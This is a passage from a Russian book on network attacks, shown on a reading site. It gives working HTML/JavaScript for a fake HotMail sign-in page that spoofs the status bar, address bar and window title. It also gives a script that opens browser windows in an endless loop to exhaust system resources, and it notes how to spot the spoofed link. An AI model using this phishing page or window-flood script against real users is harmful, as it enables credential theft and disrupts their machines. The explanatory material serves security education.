Читаем Техника сетевых атак полностью

· «TITLE»· Demo Fake WEB· «/TITLE»·· «SCRIPT»· function fake()· {· z=window.open("view-source:javascript:location='http://hotmail.com';")· z.document.open();· z.document.write(" «TITLE»· http://hotmail.com· «/TITLE»· «H1»Fake HotMail«/H1»· Sign-In Name«BR»· «INPUT type=text»«BR»· Password«BR»· «INPUT type=text»«BR»· «INPUT type=button value=' ok '»");· z.document.close();·}· «/SCRIPT»· Go to· «A HREF="javascript:var a;· "onclick="fake()" onMouseOver="window.status='http://hotmail.com';· return true"»· HotMail «/a»



Рисунок 087 Подделка сайта HotMail


Для введения пользователя в заблуждение требуется подделать: 1) содержимое строки статуса, появляющееся при наведении мыши на ссылку; 2) строку адреса открывшегося окна; 3) заголовок окна; 4) содержимое фальсифицируемой странички.

Содержимое фальсифицируемой странички технически подделать не сложно, - достаточно скопировать оригинал вместе с графикой и музыкой (если таковая имеется). Некоторые сложности могут возникнуть со скриптами, содержимое которых недоступно, поэтому их придется воссоздать самостоятельно.

Поскольку, при наведении мыши на ссылку в строке статуса отображается адрес перехода, то для введения жертвы в заблуждение необходимо подделать ее содержимое. Сделать это можно, например, с помощью следующего кода:

· «A HREF="javascript:var a;· "onclick="fake()" onMouseOver="window.status='http://hotmail.com' ;· return true"»

Вообще-то это не самая лучшая подделка, поскольку надпись в строке статуса остается даже если вывести мышь за границы ссылки, да и при выделении ссылки с помощью клавиши «Tab» в строке статуса появится истинный адрес перехода. Разумеется, все это можно устранить усложнением кода, но большинство злоумышленников не утруждают себя подобными излишествами, рассчитывая на не слишком дотошного пользователя.


Рисунок 088 Истинный адрес перехода при выделении ссылки с помощью клавиши «TAB»


Фальсифицировать строку адреса несколько сложнее, поскольку некоторые браузеры предпринимают попытки защиты от ее модификации. Поэтому, следующий код не всегда будет успешно работать (но обычно, он все же работает):

· z=window.open("view-source:javascript:location='http://hotmail.com';")

Ну а заголовок окна элементарно изменить с помощью тега «TITLE», или посредством Java-скрипта. На рисунке 087 продемонстрирован результат такой подделки. Существует ли способ раскрыть обман? Конечно, можно просмотреть исходный HTML-текст страницы, содержащий ссылку, но это отнимет некоторое время и потребует от пользователя определенной квалификации. Однако можно поступить проще, - кликнуть по ссылке правой клавишей мыши и в ниспадающем меню выбрать пункт «свойства» (или узнать их как-нибудь по-другому, в зависимости от используемого программного обеспечения).


Рисунок 089 Выяснение подлинного адреса ссылки


Ниже будут описаны приемы, позволяющие нарушить нормальную работу браузера. В первую очередь к ним относятся скриты, открывающие в бесконечном цикле множество окон. Окна, плодящиеся со скоростью тараканов, в очень короткое время пожирают все доступные ресурсы.

Например, злоумышленник может разместить на свой страничке HTML-код следующего содержания (на диске, прилагаемом к книге, он расположен в файле “/SRC/win.htm”):

· «BODY BACKGROUND=Medium.jpg»· «SCRIPT LANGUAGE="JavaScript"»· atack()· function atack()· {· var b = 0· while (true)· {·· d = new Date;· b=d.getMilliseconds();· window.open("win.htm",b,"width=215,height=300,resizable=no");·}·}· «/SCRIPT»·

Результат его работы под Windows 2000 показан на рисунке 085. Нижняя кривая в «Хронологии загрузки ЦП» - это загрузка ядра операционной системы. Через очень короткое время (буквально в течение одной минуты) она приблизится к 100% и с этого момента все станет очень сильно тормозить. Рост потребления памяти не столь значителен, но все равно достаточно ощутим, поскольку количество открытых окон в первом приближении увеличивается в геометрической прогрессии.

Перейти на страницу:

Похожие книги

Programming with POSIX® Threads
Programming with POSIX® Threads

With this practical book, you will attain a solid understanding of threads and will discover how to put this powerful mode of programming to work in real-world applications. The primary advantage of threaded programming is that it enables your applications to accomplish more than one task at the same time by using the number-crunching power of multiprocessor parallelism and by automatically exploiting I/O concurrency in your code, even on a single processor machine. The result: applications that are faster, more responsive to users, and often easier to maintain. Threaded programming is particularly well suited to network programming where it helps alleviate the bottleneck of slow network I/O. This book offers an in-depth description of the IEEE operating system interface standard, POSIX (Portable Operating System Interface) threads, commonly called Pthreads. Written for experienced C programmers, but assuming no previous knowledge of threads, the book explains basic concepts such as asynchronous programming, the lifecycle of a thread, and synchronization. You then move to more advanced topics such as attributes objects, thread-specific data, and realtime scheduling. An entire chapter is devoted to "real code," with a look at barriers, read/write locks, the work queue manager, and how to utilize existing libraries. In addition, the book tackles one of the thorniest problems faced by thread programmers-debugging-with valuable suggestions on how to avoid code errors and performance problems from the outset. Numerous annotated examples are used to illustrate real-world concepts. A Pthreads mini-reference and a look at future standardization are also included.

David Butenhof

Программирование, программы, базы данных
Java 7
Java 7

Рассмотрено все необходимое для разработки, компиляции, отладки и запуска приложений Java. Изложены практические приемы использования как традиционных, так и новейших конструкций объектно-ориентированного языка Java, графической библиотеки классов Swing, расширенной библиотеки Java 2D, работа со звуком, печать, способы русификации программ. Приведено полное описание нововведений Java SE 7: двоичная запись чисел, строковые варианты разветвлений, "ромбовидный оператор", NIO2, новые средства многопоточности и др. Дано подробное изложение последней версии сервлетов, технологии JSP и библиотек тегов JSTL. Около двухсот законченных программ иллюстрируют рассмотренные приемы программирования. Приведена подробная справочная информация о классах и методах Core Java API.

Ильдар Шаукатович Хабибуллин

Программирование, программы, базы данных